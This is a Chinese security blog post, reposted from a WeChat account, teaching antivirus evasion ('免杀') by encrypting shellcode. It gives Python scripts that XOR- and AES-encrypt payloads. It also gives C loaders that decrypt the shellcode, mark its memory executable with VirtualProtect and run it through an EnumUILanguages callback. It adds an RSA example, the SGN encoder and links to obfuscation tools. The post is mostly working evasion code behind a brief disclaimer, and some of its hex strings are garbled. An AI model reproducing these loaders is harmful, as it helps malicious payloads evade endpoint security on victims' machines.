【小惜免杀之旅1】shellcode加密

admin 2024年1月19日12:46:22评论18 views字数 8287阅读27分37秒阅读模式

本公众号技术文章仅供参考!
文章仅用于学习交流,请勿利用文章中的技术对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

1.1 XOR

先用python写个加密脚本,其中key是6-16位的随机字符串

import random

shellcode = b'x48x81xECx00'

# 生成随机字符串
def generate_random_key(length):
    key = ""
    characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    for _ in range(length):
        key += random.choice(characters)
    return key.encode()

# 异或加密函数
def xor_encrypt(code, key):
    encrypted_code = bytearray()
    key_length = len(key)
    for i in range(len(code)):
        encrypted_code.append(code[i] ^ key[i % key_length])
    return bytes(encrypted_code)

# 生成6-16长度的随机字符串
key_length = random.randint(616)
key = generate_random_key(key_length)
# 进行异或加密
encrypted_code = xor_encrypt(shellcode, key)


print("随机生成的密钥:", key.decode())

#以16进制的形式输出加密后的结果
str_encode = ''
for byte in encrypted_code:
    str_encode += ('\x%02x' % byte)
print("加密后的结果为:",str_encode)

到C语言中的思路就是先解密然后给到内存执行就可以,下方代码改变了策略,并没有申请内存而是直接修改shellcode所在内存的保护属性,直接改成可读可写可执行

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
)
;

VirtualProtect的四个参数:

lpAddress:指向要更改保护属性的内存区域的起始地址的指针。

dwSize:要更改保护属性的内存区域的大小(以字节为单位)。

flNewProtect:新的保护属性。

lpflOldProtect:一个指向变量的指针,用于接收原始的保护属性。

前三个参数很简单,这里说一下第四参数,因为我们要修改一个内存部分的保护属性,第四个参数相当于一个备份,它存了旧的保护属性,需要注意的是就算我们用不到旧的保护属性,也不要将该值设置为NULL,否则会导致函数执行失败。

可以看到这里代码执行后它的值是4也就代表原来的保护属性是可读(可读4 可写2 可执行1)

【小惜免杀之旅1】shellcode加密
image-20240101184527391

C语言代码如下

#include <Windows.h>
#include<stdio.h>


unsigned char encryptedShellcode[] = "x25xd0xab";

int main() {

    char key[] = "";
    // 定义一个与加密shellcode大小相同的数组用于存储解密后的shellcode
    unsigned char shellcode[sizeof encryptedShellcode];


    int keylength = strlen(key);
    // 遍历加密的shellcode,并解密,将结果存储在shellcode数组中
    for (int i = 0; i < sizeof encryptedShellcode; i++) {
        shellcode[i] = encryptedShellcode[i] ^ key[i % keylength];
        printf("\x%x", shellcode[i]);
    }


    // 声明一个DWORD变量用于存储旧的内存保护属性
    DWORD dwOldPro = 0;
    // 更改解密后的shellcode所在内存区域的保护属性,改为可读可写可执行
    BOOL ifExec = VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
    // 回调函数执行解密后的shellcode
    EnumUILanguages((UILANGUAGE_ENUMPROC)(char *)shellcode, 00);
}

1.2 AES

同样的除了简单的XOR外,我们还可以采用其它的加密手段,对称加密中AES比较常用,下面我们尝试用AES加密我们的shellcode并执行,注意python3这里使用Crypto函数库有点坑,最简单的解决办法就是确保已经卸载cryptopycrypto,然后安装pycryptodome

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

# 声明变量
code = b'Hello, world!'  # 待加密的数据
key = b'0123456789abcdef'  # 加密密钥,必须为16字节
iv = b'0123456789abcdef'  # 加密向量,必须为16字节

# 创建 AES 加密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 对数据进行填充
padded_data = pad(code, AES.block_size)
# 加密数据
encrypt = cipher.encrypt(padded_data)
# 将加密结果转换为 Base64 格式
base64_encrypt = base64.b64encode(encrypt).decode()

# 显示加密结果
print('加密结果(Base64):', base64_encrypt)

C语言代码这里直接调用现成的项目了

https://github.com/kokke/tiny-AES-c

把这三个代下下来

【小惜免杀之旅1】shellcode加密
image-20240101211436517

分别添加到本地项目的源文件和头文件中

【小惜免杀之旅1】shellcode加密
image-20240101212118839

解密demo如下,要注意一点,就是我们原本的字符串长度是16,但是我们通过aes加密了,填充的IV长度为16,所以生成加密后的字节是32,然后我们在C语言一开始code[]的长度是32,解密后字符依然存到了code所在内存处,不过解密后我们的数据长度又变回了16,所以只占了code空间的一半

#include<stdio.h>
#include "aes.hpp"

int main() {

    unsigned char code[] = "xe1x56xcfxa2xcfx65x04xe7x6ax75xc7x84x5cx74x0fxe2xc6x49xacx01xc9x89x70x57x66x1ax77x60x38xfdxacx52";

    unsigned char key[] = "0123456789abcdef";
    unsigned char iv[] = "0123456789abcdef";


    // 声明aes 结构体
    struct AES_ctx ctx;
    // 初始化
    AES_init_ctx_iv(&ctx, key, iv);
    // 解密,解密后的内容依然存在code对应内存处
    AES_CBC_decrypt_buffer(&ctx, code, sizeof(code));
}

最后成品代码如下

python

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random

# 生成随机字符串
def generate_random_key(length):
    key = ""
    characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    for _ in range(length):
        key += random.choice(characters)
    return key.encode()


shellcode = b'x48x81xECx00'  # 待加密的数据

key = generate_random_key(16)
iv = generate_random_key(16)

print('密钥为:',key)
print('IV为:',iv)

# 创建 AES 加密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 对数据进行填充
padded_data = pad(shellcode, AES.block_size)
# 加密数据
encrypt = cipher.encrypt(padded_data)


encrypted_shellcode_string = ''
for byte in encrypt:
    encrypted_shellcode_string += ("\x%02x" % byte)
print('加密结果为:',encrypted_shellcode_string)

C语言代码

#include<stdio.h>
#include "aes.hpp"
#include<windows.h>

int main() {

    unsigned char shellcode[] = "x9cx0ex92x36x7e";

    unsigned char key[] = "28T4BN6Z5EtPSF15";
    unsigned char iv[] = "ukGlewQtQJoYAQjU";


    // 声明aes 结构体
    struct AES_ctx ctx;
    // 初始化
    AES_init_ctx_iv(&ctx, key, iv);
    // 解密,解密后的内容依然存在code对应内存处
    AES_CBC_decrypt_buffer(&ctx, shellcode, sizeof(shellcode));


    DWORD dwOldPro = 0;
    // 更改解密后的shellcode所在内存区域的保护属性,改为可读可写可执行
    BOOL ifExec = VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
    // 回调函数执行解密后的shellcode
    EnumUILanguages((UILANGUAGE_ENUMPROC)(char*)shellcode, 00);

}

1.3 RSA

由于RSA的加密特性,加密太长的值的时候很不方便,还需要分块加密,最后的结果也很大,不过也可以通过AES和RSA的混合,用RSA加密AES的秘钥,这里就不举具体例子了,下面给一个C语言调用RSA的demo

首先去这个网站,下载openssl 1.1.1 https://slproweb.com/products/Win32OpenSSL.html,然后安装

【小惜免杀之旅1】shellcode加密
image-20240106104353308

在项目中引用openssl安装完的头文件和lib库

【小惜免杀之旅1】shellcode加密
image-20240106104455200
【小惜免杀之旅1】shellcode加密
image-20240106104543149

python生成公钥和私钥

from Crypto.PublicKey import RSA

# 生成RSA密钥对
key = RSA.generate(2048)

# 保存私钥为PEM格式(命名为pri.key)
private_key = key.export_key().decode()
pri_lines = private_key.splitlines()
for i in pri_lines:
    print('"'+i+'\n"')




print('nnn----------分割线-------------nnn')


# 保存公钥为PEM格式(命名为pub.pem)
public_key = key.publickey().export_key().decode()
pub_lines = public_key.splitlines()
for i in pub_lines:
    print('"'+i+'\n"')

代码如下

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/rsa.h>
#include <openssl/pem.h>
#include <openssl/applink.c>

#pragma comment(lib, "libcrypto.lib")
#pragma comment(lib, "libssl.lib")

int main() {
    // 硬编码的公钥和私钥
    const char* pri_key_data = "-----BEGIN RSA PRIVATE KEY-----n"
        "MIIEowIBAAKCAQEApl67Jh2KsDstGXsDDRIR8A2r1c7fyTFFn2vE7LiVPtek1lekn"
           "......"
        "S8QTsa2w/uLGNjIMFy58Atic1UYUA021152mZZZkfvz1Z4/cdiztn"
        "-----END RSA PRIVATE KEY-----n";

    const char* pub_key_data = "-----BEGIN PUBLIC KEY-----n"
        "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApl67Jh2KsDstGXsDDRIRn"
        "......"
        "KQIDAQABn"
        "-----END PUBLIC KEY-----n";

    BIO* pri_mem = BIO_new_mem_buf((void*)pri_key_data, -1);
    RSA* rsa_pri = PEM_read_bio_RSAPrivateKey(pri_mem, NULLNULLNULL);
    BIO_free(pri_mem);

    BIO* pub_mem = BIO_new_mem_buf((void*)pub_key_data, -1);
    RSA* rsa_pub = PEM_read_bio_RSA_PUBKEY(pub_mem, NULLNULLNULL);
    BIO_free(pub_mem);

    // 加密示例
    const char* plain_text = "Hello, RSA!";
    int plain_len = strlen(plain_text);

    // 计算加密后的长度
    int enc_len = RSA_size(rsa_pub);
    unsigned char* enc_data = (unsigned char*)malloc(enc_len);

    // 进行加密操作
    int ret = RSA_public_encrypt(plain_len, (const unsigned char*)plain_text, enc_data, rsa_pub, RSA_PKCS1_PADDING);
    if (ret == -1) {
        printf("Failed to encrypt.n");
        RSA_free(rsa_pri);
        RSA_free(rsa_pub);
        free(enc_data);
        return -1;
    }

    printf("Encrypted data: ");
    for (int i = 0; i < ret; i++) {
        printf("%02x ", enc_data[i]);
    }
    printf("n");

    // 解密示例
    unsigned char* dec_data = (unsigned char*)malloc(plain_len);

    // 进行解密操作
    ret = RSA_private_decrypt(enc_len, enc_data, dec_data, rsa_pri, RSA_PKCS1_PADDING);
    if (ret == -1) {
        printf("Failed to decrypt.n");
        RSA_free(rsa_pri);
        RSA_free(rsa_pub);
        free(enc_data);
        free(dec_data);
        return -1;
    }

    printf("Decrypted data: %sn", dec_data);

    // 释放资源
    RSA_free(rsa_pri);
    RSA_free(rsa_pub);
    free(enc_data);
    free(dec_data);

    return 0;
}

1.4 SGN

过静态神器,开发者声明如果你能写出检测sgn生成后的shellcode的静态规则,直接去他那领钱

【小惜免杀之旅1】shellcode加密
image-20240106110008436

1.5 工具推荐

这里推荐工具在于辅助(此处参考了TIDE的文章),如果想直接通过工具利用就生成免杀马,概率不高而且估计就算上线也有很大几率被杀

在线混淆地址:https://zerosum0x0.blogspot.com/2017/08/obfuscatedencrypted-cc-online-string.html

https://github.com/OWASP/ZSC

https://mp.weixin.qq.com/s/LfuQ2XuD7YHUWJqMRUmNVA

https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ

https://mp.weixin.qq.com/s/XmSRgRUftMV3nmD1Gk0mvA

https://mp.weixin.qq.com/s/MVJTXOIqjgL7iEHrnq6OJg

https://mp.weixin.qq.com/s/A30JHhXhwe45xV7hv8jvVQ

https://mp.weixin.qq.com/s/ASnldn6nk68D4bwkfYm3Gg

原文始发于微信公众号(小惜渗透):【小惜免杀之旅--1】shellcode加密

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月19日12:46:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【小惜免杀之旅1】shellcode加密https://cn-sec.com/archives/2409918.html

发表评论

匿名网友 填写信息